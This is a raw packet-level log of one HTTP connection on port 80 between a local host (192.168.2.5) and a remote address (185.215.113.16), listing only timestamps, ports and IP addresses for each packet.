Dec 23, 2024 07:16:07.574098110 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.574943066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.575047970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.575054884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.575107098 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.575841904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.581770897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.641392946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.641432047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.641450882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.641679049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.641832113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.641920090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.641973019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.642009020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.642075062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.642788887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.642896891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.642932892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.642991066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.643744946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.643801928 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.643851995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.643886089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.644697905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.644741058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.644860029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.644893885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.644962072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.645682096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.645791054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.645863056 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.645884037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.646662951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.646718979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.646764994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.646764994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.699398994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.699469090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.699503899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.699677944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.699784994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.699784994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.699789047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.699824095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.699868917 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.700633049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.700771093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.700783014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.700886011 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.701606989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.701688051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.701723099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.701754093 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.701982975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.702555895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.702655077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.702687979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.702857971 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.703567982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.703644037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.703677893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.703715086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.703715086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.704474926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.704575062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.704586983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.704627037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.705440044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.705539942 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.705565929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.705580950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.705615044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.706386089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.706505060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.706516981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.706549883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.707362890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.707457066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.707463026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.707468987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.707597017 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.708348036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.708446026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.708456993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.709275961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.709310055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.709372044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.709383965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.709431887 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.709431887 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.710292101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.710352898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.710364103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.710763931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.711209059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.711266994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.711344004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.711352110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.711517096 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.712152958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.712280989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.712286949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.712320089 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.713148117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.713200092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.713243008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.713257074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.713586092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.714097023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.714190960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.714210987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.714226961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.715068102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.715138912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.715152979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.715166092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.715358019 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.716042042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.716125965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.716136932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.716597080 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.717005014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.717097044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.717108011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.717142105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.717142105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.717967987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.718070984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.718080997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.718281984 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.718939066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.719027042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.719038010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.719069958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.719070911 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.719878912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.737823963 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.762393951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.762445927 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.762465954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.762479067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.762868881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.762926102 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.762944937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.762964964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.763112068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.763823032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.763870955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.763936996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.763950109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.764086008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.764780998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.764867067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.764879942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.764916897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.765760899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.765811920 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.765839100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.765851974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.766212940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.766729116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.766817093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.766829014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.766849995 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.767735958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.767776012 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.767853022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.816167116 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.833729982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.833823919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.833837032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.833857059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.834237099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.834278107 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.834331989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.834345102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.834435940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.835232019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.835306883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.835326910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.835355997 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.836129904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.836225033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.836235046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.836263895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.836263895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.837116957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.837214947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.837225914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.837249994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.838064909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.838187933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.838200092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.838231087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.838296890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.839030981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.839179039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.839353085 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.891927004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.891952991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.891967058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.891994953 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.892246962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.892339945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.892352104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.892385006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.892385006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.893225908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.893321037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.893332005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.893358946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.894181013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.894217968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.894279003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.894295931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.894351959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.895169020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.895267010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.895278931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.895298958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.896133900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.896173000 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.896229982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.896241903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.896434069 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.897129059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.897239923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.897253036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.897314072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.898060083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.898098946 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.898154974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.898166895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.898219109 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.899100065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.899172068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.899184942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.899341106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.899941921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.900047064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.900063038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.900068998 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.900268078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.900944948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.901037931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.901048899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.901072025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.902627945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.902694941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.902707100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.902731895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.902828932 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.902925014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.903089046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.903100014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.903148890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.903812885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.903909922 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.903913021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.903925896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.904022932 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.904778004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.904892921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.904905081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.905009985 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.905841112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.905874968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.905952930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.905965090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.906032085 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.906847954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.906919956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.907005072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.907042980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.907798052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.907860994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.907871962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.907876968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.908013105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.908834934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.908854961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.908876896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.908910990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.909734964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.909801006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.909815073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.909815073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.909869909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.910626888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.910723925 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.910737038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.910763979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.911556005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.911638021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.911662102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.911674023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.911706924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.912482977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.954669952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.954727888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.954761982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.954802036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.954890013 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.955073118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.955182076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.955224037 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.955652952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.955763102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.955797911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.955811977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.956770897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.956830025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.956866980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.956901073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.956964016 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.957604885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.957659006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.957693100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.957734108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.958523989 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.958585978 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.958657026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.958693027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.958731890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.959500074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.959605932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.959640026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.959656954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:07.960433006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:07.960530043 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.026020050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.026103020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.026139975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.026190996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.026454926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.026555061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:08.026566029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.027045012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:08.027098894 CET	49739	80	192.168.2.5	185.215.113.16
